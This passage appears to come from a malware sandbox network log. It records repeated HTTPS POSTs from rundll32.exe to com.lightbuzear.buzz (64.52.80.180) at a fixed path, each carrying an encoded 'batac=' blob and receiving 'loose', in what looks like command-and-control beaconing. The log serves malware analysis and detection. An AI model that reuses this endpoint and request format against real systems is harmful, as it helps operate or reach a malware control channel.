2022-08-14 06:41:03 UTC	148	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:04 UTC	149	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:04 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:04 UTC	149	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.22	49181	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:35 UTC	16	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:35 UTC	16	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:35 UTC	18	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:35 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:35 UTC	18	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.22	49262	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:05 UTC	149	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:05 UTC	150	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:05 UTC	151	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:05 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:05 UTC	151	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.22	49263	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:06 UTC	151	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:06 UTC	151	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:06 UTC	153	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:06 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:06 UTC	153	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.22	49264	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:07 UTC	153	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:07 UTC	153	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:07 UTC	154	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:07 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:07 UTC	154	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.22	49265	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:08 UTC	154	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:08 UTC	155	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:08 UTC	156	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:08 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:08 UTC	156	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.22	49266	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:09 UTC	156	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:09 UTC	156	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:09 UTC	157	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:09 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:09 UTC	158	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.22	49267	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:10 UTC	158	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:10 UTC	158	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:11 UTC	159	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:10 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:11 UTC	159	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.22	49268	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:11 UTC	159	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:11 UTC	160	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:12 UTC	161	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:11 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:12 UTC	161	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.22	49269	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:12 UTC	161	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:12 UTC	161	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:13 UTC	162	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:12 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:13 UTC	163	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.22	49270	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:13 UTC	163	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:41:13 UTC	163	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:41:14 UTC	164	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:41:14 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:14 UTC	164	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.22	49271	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:41:14 UTC	164	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
